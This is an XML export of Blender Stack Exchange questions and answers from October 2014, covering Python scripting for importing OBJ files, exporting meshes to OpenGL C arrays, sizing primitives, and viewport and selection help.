  <row Id="16634" PostTypeId="1" AcceptedAnswerId="16660" CreationDate="2014-10-10T06:27:34.237" Score="1" ViewCount="1558" Body="&lt;p&gt;I am a Direct2D/C++ programmer and I want to experiment the &lt;strong&gt;procedural 3D animation&lt;/strong&gt; of a street based on a text file. In the text file, I would be having something like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Length (in meters)  Curvature(Angle)     Uphill (Angle)       Downhill(Angle)&#xA;&#xA;1000                     -                   -                      20°&#xA;&#xA;300                      20° (left)          -                       -&#xA;&#xA;500                      5° (right)          30°                     -&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means, for 1 kilometre the street is straight with 20° downhill. The next 300 meters the street has 20° curve (no uphill and no downhill). After that for the next 500 meters the street has 5° towards right direction with 30° uphill. So, programmatically I need to generate road details (terrain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for beginning, the street does not have any landscape (no trees, no buildings, no traffic signs, etc.) and only one car is moving inside the lane in a variable speed. I need to see the car movement using chase cam view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to implement my requirement using Blender (if needed, with some add-ons)? Or, am I better off with some other tool?&lt;/p&gt;&#xA;" OwnerUserId="6424" LastEditorUserId="241" LastEditDate="2014-10-10T09:44:31.550" LastActivityDate="2015-05-25T19:25:33.797" Title="programmatically generate road with moving car" Tags="&lt;python&gt;&lt;modeling&gt;&lt;animation&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16635" PostTypeId="1" AcceptedAnswerId="16647" CreationDate="2014-10-10T07:02:18.557" Score="0" ViewCount="340" Body="&lt;p&gt;I have a .bvh file which has only one root bone, and when I import it through blender it doesn't appear. I don't know how I can make it appear so that I can see the animation.&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="2217" LastEditDate="2016-12-19T23:43:17.550" LastActivityDate="2016-12-19T23:43:17.550" Title="Display an armature with one root bone" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16636" PostTypeId="2" ParentId="16634" CreationDate="2014-10-10T08:02:29.487" Score="3" Body="&lt;p&gt;This is definitely possible with Blender, and not at all outside the scope of Blender (which is a scriptable animation tool) But you do have to learn the Python API since I don't think any existing addons do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of Blender generating scenes: &lt;a href=&quot;http://cgchan.com/suicidator/&quot; rel=&quot;nofollow&quot;&gt;http://cgchan.com/suicidator/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-10T08:02:29.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16637" PostTypeId="1" CreationDate="2014-10-10T08:02:58.587" Score="2" ViewCount="3506" Body="&lt;p&gt;This is a very old question, but I just lost track as to whether it has been done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to simply import an .obj file by dragging and dropping it onto your blender window? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make my workflow quite a bit faster, since I am just checking meshes.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="12" LastEditDate="2014-10-11T16:56:43.823" LastActivityDate="2019-10-19T03:08:52.020" Title="Drag and drop importing of .OBJ files" Tags="&lt;import&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16638" PostTypeId="2" ParentId="16637" CreationDate="2014-10-10T08:09:10.413" Score="1" Body="&lt;p&gt;This did not work the last time I tried it and I assume it still doesn't since you are asking.&lt;br&gt;&#xA;The fastest way I know of to do this is to use the following script that someone posted on this site a while back for batch importing .obj files.  I modified it slightly to work with OSX but the necessary Windows code is just commented out.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import bpy&#xA;&#xA;# put the location to the folder where the objs are located here in this fashion&#xA;#path_to_obj_dir = os.path.join('C:\\', 'Users', 'YOUR_NAME', 'Desktop', 'OBJS') #&amp;lt;-WINDOWS_OS&#xA;path_to_obj_dir = bpy.path.abspath('//OBJ/')&#xA;&#xA;# get list of all files in directory&#xA;file_list = sorted(os.listdir(path_to_obj_dir))&#xA;&#xA;# get a list of files ending in 'obj'&#xA;obj_list = [item for item in file_list if item[-3:] == 'obj']&#xA;&#xA;# loop through the strings in obj_list and add the files to the scene&#xA;for item in obj_list:&#xA;    path_to_file = os.path.join(path_to_obj_dir, item)&#xA;    bpy.ops.import_scene.obj(filepath = path_to_file)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's supposed to look like the following.  It originally searched the directory where the .blend is but one of the changes I made has the script search for .obj files in a folder called OBJ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zbWLZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="29" LastEditDate="2014-10-10T09:20:30.333" LastActivityDate="2014-10-10T09:20:30.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16639" PostTypeId="2" ParentId="3637" CreationDate="2014-10-10T08:31:58.530" Score="1" Body="&lt;p&gt;Here is some code that is based on an OpenGL/C object exporter.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if bpy.context.selected_objects:&#xA;    for obj in bpy.context.selected_objects:&#xA;        bpy.context.scene.objects.active = obj&#xA;        bpy.ops.object.mode_set(mode='OBJECT')&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #============================================================&#xA;    directoryPath    = &quot;//&quot; + ProjectName + &quot;/_MODEL_FOLDERS_/&quot;&#xA;    path = bpy.path.abspath(directoryPath)&#xA;    #------------------------------------&#xA;    if os.path.exists(path + obj.name) == False:&#xA;        os.mkdir(path + obj.name)  &#xA;    #============================================================&#xA;    #----THE_OPEN_GL_EXPORTER_DOES_IT'S_THING&#xA;    #============================================================&#xA;    msh = obj.to_mesh(bpy.context.scene,False,'PREVIEW') #-------THE_'False'_IS_THE_APPLY_MODIFIERS_FLAG&#xA;&#xA;    print(obj)&#xA;    print(msh)&#xA;    print(obj.name)&#xA;    print('\n')&#xA;    #============================================================&#xA;    lvdic = {} # -------------local dictionary&#xA;    lfl = [] # ---------------local faces index list&#xA;    lvl = [] # ---------------local vertex list&#xA;    lnl = [] # ---------------local normal list&#xA;    luvl = [] # --------------local uv list&#xA;    lvcnt = 0 # --------------local vertices count&#xA;    isSmooth = False&#xA;    hasUV = True    # true by default, it will be verified below&#xA;&#xA;    print(&quot;Building for: %s\n&quot;%obj.name)&#xA;    #============================================================ &#xA;    if (len(msh.tessface_uv_textures) &amp;gt; 0):&#xA;        if (msh.tessface_uv_textures.active is None):&#xA;            hasUV=False&#xA;    else:&#xA;        hasUV = False&#xA;    #-------------------&#xA;    if (hasUV):&#xA;        activeUV = msh.tessface_uv_textures.active.data&#xA;    #============================================================ &#xA;    obj_names.append(clearName(obj.name))&#xA;    obj_cnt+=1 &#xA;    print('objectCount =', obj_cnt)&#xA;    print('\n')&#xA;    #============================================================ &#xA;    for i,f in enumerate(msh.tessfaces):&#xA;        isSmooth = f.use_smooth&#xA;        tmpfaces = []&#xA;        for j,v in enumerate(f.vertices):  &#xA;            vec = msh.vertices[v].co&#xA;            vec = r3d(vec)&#xA;&#xA;            if (isSmooth):  # use vertex normal&#xA;                nor = msh.vertices[v].normal&#xA;            else:           # use face normal&#xA;                nor = f.normal&#xA;&#xA;            nor = r3d(nor)&#xA;&#xA;            if (hasUV):&#xA;                co = activeUV[i].uv[j]&#xA;                co = r2d(co)&#xA;            else:&#xA;                co = (0.0, 0.0)&#xA;&#xA;            key = vec, nor, co&#xA;            vinx = lvdic.get(key)&#xA;&#xA;            if (vinx is None): # vertex not found&#xA;                lvdic[key] = lvcnt&#xA;                lvl.append(vec)&#xA;                lnl.append(nor)&#xA;                luvl.append(co)&#xA;                tmpfaces.append(lvcnt)&#xA;                lvcnt+=1&#xA;            else:&#xA;                inx = lvdic[key]&#xA;                tmpfaces.append(inx)&#xA;&#xA;        if (len(tmpfaces)==3): &#xA;            lfl.append(tmpfaces)&#xA;        else:&#xA;            lfl.append([tmpfaces[0], tmpfaces[1], tmpfaces[2]])&#xA;            lfl.append([tmpfaces[0], tmpfaces[2], tmpfaces[3]])&#xA;&#xA;&#xA;    bpy.data.meshes.remove(msh)&#xA;    #===============================================================    &#xA;    #update global lists and dictionaries&#xA;    vtx.append(lvdic)&#xA;    faces.append(lfl)&#xA;    vl.append(lvl)&#xA;    nl.append(lnl)&#xA;    uvl.append(luvl)&#xA;    obj_mtx.append(obj.matrix_local)&#xA;&#xA;    #===============================================================&#xA;    #============---WRITE_INDICES========&#xA;    #===============================================================      &#xA;    numberOfFaces = len(lfl)&#xA;    numberOfIndices = numberOfFaces * 3&#xA;    #-----------------------------------&#xA;    filename = obj.name + '_INDICES' + '.cpp'&#xA;    file = open(path + obj.name + '/' + filename, &quot;w&quot;, newline=&quot;\n&quot;)&#xA;    #--------------------&#xA;    file.write(&quot;GLuint &quot;)&#xA;    file.write(obj.name)&#xA;    file.write(&quot;_INDICES[] = \n{\n&quot;)&#xA;    file.write(&quot;    //numberOfIndices = %d\n&quot; %numberOfIndices)&#xA;    file.write(&quot;\n&quot;)&#xA;    #-------------------------------------------------------------------&#xA;    for faceCount in range(numberOfFaces):#---------print the index list&#xA;        file.write(&quot;%d&quot; %lfl[faceCount][0])&#xA;        file.write(&quot;, &quot;)&#xA;        file.write(&quot;%d&quot; %lfl[faceCount][1])&#xA;        file.write(&quot;, &quot;)&#xA;        file.write(&quot;%d&quot; %lfl[faceCount][2])&#xA;        file.write(&quot;, &quot;)&#xA;        file.write(&quot;\n&quot;)&#xA;    #---------------------------------------&#xA;    file.write(&quot;}; \n&quot;)&#xA;    file.close()&#xA;    #=========================================================================&#xA;    #============---WRITE_VERTICES========&#xA;    #=========================================================================&#xA;    numberOfVerts    = len(lvl)&#xA;    print(numberOfVerts)&#xA;    numberOfVertices = numberOfVerts&#xA;    #-----------------------------------&#xA;    filename = obj.name + '.cpp'&#xA;    file = open(path  + obj.name + '/' + filename, &quot;w&quot;, newline=&quot;\n&quot;)&#xA;    #---------------------&#xA;    file.write(&quot;GLfloat &quot;)&#xA;    file.write(obj.name)&#xA;    file.write(&quot;[] = \n{\n&quot;)&#xA;    file.write(&quot;    //numberOfVertices = %d\n&quot; %numberOfVertices)&#xA;    file.write(&quot;\n&quot;)&#xA;    #-------------------------------------------------------------------&#xA;    for vertCount in range(numberOfVertices):#---------print the vertex list&#xA;        file.write(&quot;\t%f &quot; %lvl[vertCount][0])&#xA;        file.write(&quot;, &quot;)&#xA;        file.write(&quot;\t%f &quot; %lvl[vertCount][1])&#xA;        file.write(&quot;, &quot;)&#xA;        file.write(&quot;\t%f &quot; %lvl[vertCount][2])&#xA;        file.write(&quot;, &quot;)&#xA;        file.write(&quot;\t%f &quot; %lnl[vertCount][0])&#xA;        file.write(&quot;, &quot;)&#xA;        file.write(&quot;\t%f &quot; %lnl[vertCount][1])&#xA;        file.write(&quot;, &quot;)&#xA;        file.write(&quot;\t%f &quot; %lnl[vertCount][2])&#xA;        file.write(&quot;, &quot;)&#xA;        file.write(&quot;\t%f &quot; %luvl[vertCount][0])&#xA;        file.write(&quot;, &quot;)&#xA;        file.write(&quot;\t%f &quot; %luvl[vertCount][1])&#xA;        file.write(&quot;, &quot;)&#xA;        file.write(&quot;\n&quot;)&#xA;&#xA;    #--------------------------------------&#xA;    file.write(&quot;}; \n&quot;)  &#xA;    file.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The functional component is exactly the same except that I've added a function call that deletes the created data after it's used so the mesh data blocks don't fill up with nuisance data... the output has been reformatted to suit my needs so you are likely going to want to do the same since this tends to be specific to the final OpenGL render code setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original code can be found at the following site and may be located using the following keywords.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ksolek.fm.interia.pl/Blender/&quot; rel=&quot;nofollow&quot;&gt;http://ksolek.fm.interia.pl/Blender/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keywords:  Blender OpenGL / C header exporter Krzysztof Soďż˝ek Bruce Merry Campbell Barton Stanford PLY&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-10-10T08:31:58.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16641" PostTypeId="1" AcceptedAnswerId="16643" CreationDate="2014-10-10T10:09:24.100" Score="2" ViewCount="3252" Body="&lt;p&gt;I looking for this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#My line    &amp;lt;=== is commented &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after running my python script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;My line     &amp;lt;=== is uncommented &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IS there any way to get an executable code by reading a commented line?&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="2217" LastEditDate="2014-10-10T11:54:17.180" LastActivityDate="2014-10-10T12:06:49.860" Title="How can I uncomment &quot;#&quot; a line using python?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16642" PostTypeId="2" ParentId="16541" CreationDate="2014-10-10T10:45:34.910" Score="4" Body="&lt;p&gt;Seeing an object in axis aligned view, &#xA;but not in user-defined view usually means it's far away from the current POV (point of view) or &#xA;outside of the current frustum. Orthographic view provides no sense of depth. Objects appear the same &#xA;size no matter how far or how close they are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Tzpg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New objects are placed at the postion of the &lt;strong&gt;3D Cursor&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eoGiB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3D Cursor is placed with &lt;kbd&gt;LMB&lt;/kbd&gt;. A click in empty space will position it in a plane, &#xA;that is parallel to the view plane at the distance of its old position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Amtae.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A click on a visible object will project the 3D cursor on the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eh29d.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current cursor position and the position of the selected object are shown (and can be changed) &#xA;in the &lt;strong&gt;Properties Panel&lt;/strong&gt; of the &lt;strong&gt;3D View&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EDRQw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the &lt;strong&gt;Snap&lt;/strong&gt; menu by pressing &#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/11n4A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. with the object selected press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; - &lt;strong&gt;Cursor to Center&lt;/strong&gt;, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; - &lt;strong&gt;Selection to Cursor&lt;/strong&gt; to set the objects position back to the center.&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2014-10-10T10:45:34.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16643" PostTypeId="2" ParentId="16641" CreationDate="2014-10-10T11:27:07.690" Score="-4" Body="&lt;p&gt;apart from if-then clauses, no.&lt;br/&gt;&#xA;It's commented code for a reason, and that reason is for the interpreter to ignore it at all times.&lt;/p&gt;&#xA;" OwnerUserId="3376" LastActivityDate="2014-10-10T11:27:07.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16644" PostTypeId="2" ParentId="16641" CreationDate="2014-10-10T12:06:49.860" Score="4" Body="&lt;p&gt;Yes it is possible, but not very useful. The following naive code attempts to change line 4 of its text block within Blender. The function &lt;code&gt;modify&lt;/code&gt; takes 4 arguments.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;name&lt;/code&gt; - the file name of the script&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;lineno&lt;/code&gt; - the line number to change (zero based)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;orig&lt;/code&gt; - the original start of the string to change&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;repl&lt;/code&gt; - the replacement&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if you execute the script twice, the code will be commented again. The script will attempt to find its own file name in the last 2 lines. Only tested for Linux.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import ntpath&#xA;#this is a comment&#xA;#print(&quot;Hello Blender!&quot;) # this is code&#xA;&#xA;def modify(name, lineno, orig, repl):&#xA;    t = bpy.data.texts[name]&#xA;    s = t.as_string()&#xA;    l = s.splitlines()&#xA;&#xA;    if l[lineno].startswith(orig):&#xA;        l[lineno] = l[lineno].replace(orig, repl, 1)&#xA;    elif l[lineno].startswith(repl):&#xA;        l[lineno] = l[lineno].replace(repl, orig, 1)&#xA;&#xA;    t.from_string(&quot;\n&quot;.join(l))&#xA;&#xA;head, tail = ntpath.split(__file__)&#xA;modify(tail or ntpath.basename(head),3,&quot;#print&quot;,&quot;print&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2014-10-10T12:06:49.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16647" PostTypeId="2" ParentId="16635" CreationDate="2014-10-10T13:13:09.370" Score="2" Body="&lt;p&gt;The problem is, that the animation uses so much space, that it doesn't appear anywhere near the center. You could scale the armature and its animation while importing &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZMGvM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or use the Graph Editor, which is more flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cAiA3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;strong&gt;Graph Editor&lt;/strong&gt; to move &lt;kbd&gt;G&lt;/kbd&gt; and  scale &lt;kbd&gt;S&lt;/kbd&gt; the F-Curves accordingly. Select the Armature (&quot;bag&quot;) in the &lt;strong&gt;Outliner&lt;/strong&gt;, switch to &lt;strong&gt;Pose Mode&lt;/strong&gt;, press &lt;kbd&gt;A&lt;/kbd&gt; to select the bone and switch a window to &lt;strong&gt;Graph Editor&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BMPME.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-10-11T11:41:59.217" LastActivityDate="2014-10-11T11:41:59.217" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16648" PostTypeId="1" AcceptedAnswerId="16649" CreationDate="2014-10-10T13:24:56.833" Score="2" ViewCount="4218" Body="&lt;p&gt;The default command when creating a cube at the origin is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_cube_add(view_align=False, enter_editmode=False, location=(0.0, 0.0, 0.0), rotation=(0, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since I am not bothered about rotations and layers I can keep only the location like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_cube_add(location=(0.0, 0.0, 0.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This creates a UNIT cube at the origin (0,0,0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Is there a way to add the dimensions of the cube I want, within that line somehow? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not asking about using a scale command after creating it... but rather creating it in the desired size straight away...?&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="2217" LastEditDate="2014-10-10T13:30:31.687" LastActivityDate="2020-06-29T09:43:29.000" Title="Command for creating an object of custom size" Tags="&lt;python&gt;&lt;scripting&gt;&lt;dimensions&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16649" PostTypeId="2" ParentId="16648" CreationDate="2014-10-10T13:32:05.257" Score="3" Body="&lt;p&gt;Yes, you can use &lt;code&gt;radius&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_cube_add(location=(0.0, 0.0, 0.0), radius=2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_0/bpy.ops.mesh.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;radius&lt;/code&gt; in this case is the half of the cubes edge length, so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_cube_add(location=(0.0, 0.0, 0.0), radius=edgelen/2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would build a cube with edge length of &lt;code&gt;edgelen&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Answer uses the Python API of Blender 2.72&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="3401" LastEditDate="2015-06-26T03:16:33.207" LastActivityDate="2015-06-26T03:16:33.207" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16650" PostTypeId="2" ParentId="12243" CreationDate="2014-10-10T13:41:35.760" Score="5" Body="&lt;p&gt;Wouldn't it be easier to use a python script (a plugin?) to modify the x,y displacement information (equal to the 2D correction) that the &quot;stabilize 2D&quot; block inside the node Editor is using for the correction? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally I see that in the Motion Tracking View the &quot;Movie Clip Editor&quot; panel shows a representation of x,y over time. In this panel there is a filtering window that seems to do that but I am not sure how to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe a python plugin could take x,y and substract a (first or second order) polynomial interpolation of x,y. In this way the image is only corrected of the value (x,y)-interpolation. This would leave panning over x and y axis untouched. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things become a little more complicated when two or more markers are used for image stabilization.... also rotation could take advantage of the same implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well I hope some Blender expert could add a comment on this. I would be willing to try to implement the python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just my 2C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT. at this link:&#xA;&lt;a href=&quot;http://sonneo.blogspot.com.es/2014/08/better-video-stabilization-in-blender.html#comment-form&quot; rel=&quot;nofollow&quot;&gt;http://sonneo.blogspot.com.es/2014/08/better-video-stabilization-in-blender.html#comment-form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the implementation of a high pass filter for the marker speed. It works great but I wonder if it is really optimal.&lt;/p&gt;&#xA;" OwnerUserId="6428" LastEditorUserId="6428" LastEditDate="2014-10-11T17:33:22.093" LastActivityDate="2014-10-11T17:33:22.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16652" PostTypeId="1" CreationDate="2014-10-10T15:02:17.230" Score="2" ViewCount="4974" Body="&lt;p&gt;I'm new to Blender.  I have imported a large (file size 259 mb) file into Blender (2.7.1).  The files are all listed and selectable from the Scene tab. However, I can't see the objects.  I feel like they are perhaps too large (virtual physical size) and therefore out of view.  The file is a Solid Works 2014 export. Is there a way to change the field of view or another thought on getting them to show?&lt;/p&gt;&#xA;" OwnerUserId="6430" LastActivityDate="2014-10-10T16:02:10.457" Title="How do I get imported objects to show in view? (.wrl files)" Tags="&lt;3d-view&gt;&lt;import&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16653" PostTypeId="2" ParentId="16652" CreationDate="2014-10-10T15:46:06.960" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all objects in the outliner or other means. Press the home key ... the one NOT on the numeric keypad. (there are two home keys on many full size keyboards)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After that is successful. Consider press numeric keypad 0 a couple of times to switch bebtween&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User View and Camera View.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press Control Alt (Numpad) 0 to align the camera view with the user view.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-10T16:02:10.457" LastActivityDate="2014-10-10T16:02:10.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16657" PostTypeId="1" CreationDate="2014-10-10T16:21:39.347" Score="1" ViewCount="600" Body="&lt;p&gt;I'd like to be able to select in one operation a set of blender elements (vertices, edges, and faces) with a common characteristic, for example a certain value (or range of values) on a particular axis, or a set of elements which lie a specified distance from the designated pivot point. I know some particular instances can be accomplished by existing tools, for example, going to front or side view, one could use box select to obtain a set of vertices with a certain value of Z-axis co-ordinate, but I'm asking more generally. For example, to be able to select all edges of a certain length, or faces with a certain area.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-10-10T17:05:31.430" Title="How do I select a set of Blender elements with a common characteristic?" Tags="&lt;modeling&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16658" PostTypeId="2" ParentId="16657" CreationDate="2014-10-10T16:24:14.170" Score="1" Body="&lt;p&gt;For a mesh in edit mode with &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;vertex selection see the menu Select Similar.&lt;/li&gt;&#xA;&lt;li&gt;face selection see the menu Select Similar Area&lt;/li&gt;&#xA;&lt;li&gt;edge selection menu Select Similar Length &lt;/li&gt;&#xA;&lt;li&gt;Many other options&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9NLJu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Circle Select with the Letter C Selects a circular distance in 2D in many, not all, cases.&#xA;To select a ring, first select objects by radius A, then second scroll mouse wheel to smaller radius B, then press Middle Mouse to button to remove the middle.  A minus B (A - B)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still in mesh edit mode, if you are making a selection repeatedly, consider creating a vertex group for that selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestion.  For Objects only.  If you are making the same selection many times. Consider Grouping those objects and thus select group.  Or more drastically create a common parent and select children.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-10T17:05:31.430" LastActivityDate="2014-10-10T17:05:31.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16659" PostTypeId="2" ParentId="6800" CreationDate="2014-10-10T17:35:03.223" Score="-1" Body="&lt;p&gt;Make sure that the transparent checkbox is unchecked in properties editor &gt; render settings &gt; film section, too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is checked, then an added sky can disappear! Well, its still there technically, but not visually.&lt;/p&gt;&#xA;" OwnerUserId="6418" LastEditorUserId="6418" LastEditDate="2014-10-15T18:10:14.060" LastActivityDate="2014-10-15T18:10:14.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
